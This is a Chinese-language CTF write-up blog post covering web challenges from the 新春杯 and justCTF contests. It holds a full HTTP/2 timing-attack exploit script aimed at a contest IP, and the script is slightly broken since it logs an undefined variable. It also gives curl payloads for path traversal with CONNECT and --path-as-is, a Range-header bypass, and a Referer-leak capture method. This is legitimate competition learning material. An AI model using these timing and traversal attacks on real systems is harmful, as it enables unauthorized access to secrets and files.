新春杯+justCTF

首先是新春杯题目就离谱,很顶很顶,质量很高,然后这个比赛出不了东西之后又去打justctf了,感觉justCTF更友善一些(逃),膜了几位师傅,放两个大师傅传送门。

清华脑哥

ha1c9on

然后本来想几场比赛分开写,但是新春杯我真的搞不懂。。。。

borrow_time

前置知识

curl http2

关于curl接受http2命令的解释

所以我们使用命令可以抓取http2包

curl --http2-prior-knowledge

信息收集

先正常测试,端口,旁站,域名,抓包,wireshark等等,反正常见的信息收集都试了不行

curl http://8.140.110.118/ --output test

winhex打开看看

google发现确实有相关内容

看了一下这是http2的包

curl --http2-prior-knowledge http://8.140.110.118/

成功获取到内容,发现还有注释中还有/src目录,继续读,flask

代码审计

#!/usr/bin/env python

import os
import time
import hashlib

from flask import Flask, render_template, request

app = Flask(__name__)

FLAG = os.environ["ICQ_FLAG"]
SECRET = hashlib.sha1(FLAG.encode()).hexdigest()[:10]

SLEEP_TIME = 10 ** -10

@app.route("/", methods=['POST', 'GET'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        secret = request.form['secret']
        if len(secret) != len(SECRET):
            return "^_^"
        for a, b in zip(secret, SECRET):
            if a == "*":
                continue
            elif a != b:
                return "INCORRECT"
            else:
                time.sleep(SLEEP_TIME)
        if "*" in secret:
            return "INCORRECT"
        return FLAG

@app.route("/src")
def src():
    with open(__file__) as f:
        return f.read()                                                                           

代码量还是很少的,不难理解,就是要不以GET形式发送secret,并保证secret字段长度相等,并有*。其实搜一下就可以发现几乎是WCTF2020 Spaceless Spacing原题

搜索exp

编写exp

import os
import asyncio
import time
import string
import logging

from hyper import HTTP20Connection
from h2time import H2Time, H2Request

# Number of requests: TIMING_ITERATIONS * NUM_REQUEST_PAIRS * 2 * |SECRET_CHARSET| * |SECRET|
TIMING_ITERATIONS = 2  # 3
NUM_REQUEST_PAIRS = 10  # 20
SECRET_CHARSET = '1234567890abcdef'
COMPARISON_CHAR = "*"  # This must not be in SECRET_CHARSET

target = '8.140.110.118:80'

logging.basicConfig(level=logging.INFO)
logger = logging.getLogger("exploit")
ua = 'h2time/0.1'


def get(resource):
    logging.disable(logging.INFO)
    try:
        connection = HTTP20Connection(target.lstrip("http://").lstrip("https://"))
        connection.request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + resource)),
                                            'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + resource)
        return connection.get_response().read()
    finally:
        logging.disable(logging.DEBUG)


async def time_difference(a, b):
    request_a = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + a)),
                                           'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + a)
    request_b = H2Request("POST", target, {'user-agent': ua, 'content-length': str(len('secret=' + b)),
                                           'Content-Type': 'application/x-www-form-urlencoded'}, 'secret=' + b)
    a_quicker_count = 0
    b_quicker_count = 0
    for _ in range(TIMING_ITERATIONS):
        async with H2Time(
                request_a, request_b, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            b_quicker_count += len([result for result in results if result[0] < 0])
            a_quicker_count += len([result for result in results if result[0] >= 0])
        async with H2Time(
                request_b, request_a, num_request_pairs=NUM_REQUEST_PAIRS
        ) as h2t:
            results = await h2t.run_attack()
            a_quicker_count += len([result for result in results if result[0] < 0])
            b_quicker_count += len([result for result in results if result[0] >= 0])
    return a_quicker_count, b_quicker_count


async def exploit():
    secret_length = 10

    logger.info("")
    logger.info(f"Secret Length: {secret_length}")
    logger.info("")

    secret = ""

    for _ in range(secret_length):
        start = time.time()

        def spaced_secret_guess(guess):
            return " " * len(secret) + guess + " " * (secret_length - len(secret) - 1)

        tasks = {
            char: asyncio.create_task(
                time_difference(
                    spaced_secret_guess(COMPARISON_CHAR), spaced_secret_guess(char)
                )
            )
            for char in SECRET_CHARSET
        }
        await asyncio.gather(*tasks.values())

        lowest_char_quicker = None
        lowest_char_quicker_count = float("inf")
        for char, task in tasks.items():
            comparison_quicker_count, char_quicker_count = task.result()

            if char_quicker_count < lowest_char_quicker_count:
                lowest_char_quicker = char
                lowest_char_quicker_count = char_quicker_count

            logger.info(
                f"Tested: {secret + char} -- {comparison_quicker_count} {char_quicker_count}"
            )

        secret += lowest_char_quicker

        end = time.time()

        logger.info("")
        logger.info(f"Secret Progress: {secret}")
        logger.info(f"Secret Progress took: {end - start}s")
        logger.info("")

    # correct = get(f"{secret}")

    logger.info("")
    logger.info(f"Secret: {secret}")
    logger.info(f"Correct: {correct}")
    logger.info("")


loop = asyncio.get_event_loop()
loop.run_until_complete(exploit())
loop.close()

脚本就是打不通,不知道为什么,吐了。问了L1near大师傅,可能是我本地的问题。然后因为有time.time_ns(),是python3.7以上才有的新特性,我vps和kali也打不了,只能这样了。。。

下面的题都是justctf里的,这比赛我好爱,全是技巧,满满的干货

Forgotten name

意思是要找到他的secret domain

首先我们看其他web题,url都为 .web.jctf.pro

所以我们找到一个Certificate Search网站

crt.sh

可以发现以6a开头的名称,hex解码,得到flag

Computeration

这道也挺离谱,一开始以为下面的链接真的就是向管理员报告,我说国外的比赛都这么人性化了,然后上面的url就是个前端,看了好久也没思路,结果。。。。

上图分别是两个url的界面,我们可以看到上面的url就是一个写note的界面,客户端做的。没什么东西,后面的url会发送我们传入的内容给admin,那么我们还是和之前博客的思路一样,在https://beeceptor.com/创建一个子域,检查传过来的http流量

(这里有个坑点,我用firefox+burp无论如何都会显示Captcha Error: invalid-input-response,换了chrome之后就好了)

看看Request Body

发现referer处会传来验证的url,我们curl一下,发现直接出现flag

主办方后面说了这是非预期解,因为在写Referrer-policy时手误,输入no-referer而不是no-referrer,导致输入unsafe-url

Go-fs

前置知识

curl --path-as-is选项

详情见此文章

大致意思就是

curl --path-as-is会使curl完全按照URL中提供的方式发送路径,而不会删除任何点段

CONNECT请求

观察文档发现,对于CONNECT请求,path和host都不会改变其内容

代码审计

虽然我不懂go语言,但是语言不都是相通的嘛,稍微看看也可以

	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Served-by", VERSION)
		w = &wrapperW{w}
		fileServ.ServeHTTP(w, r)
	})

	http.HandleFunc("/flag", func(w http.ResponseWriter, r *http.Request) {
		w.Header().Set("Served-by", VERSION)
		w.Write([]byte(`No flag for you!`))
	})

看到这里构造两个路由,访问flag会被阻止,所以我们思考通过怎么的方式可以绕过

payload

根据上述两个前置知识,搭配使用

payload:

curl -X CONNECT --path-as-is http://gofs.web.jctf.pro/folder/../flag

关于另一种,也就是预期解,我复现一直失败,但是这种方法也可以记录一下

具体分析见此文章

payload:

curl -v -H 'Range: bytes=--2' url
原文地址:https://www.cnblogs.com/karsa/p/14361324.html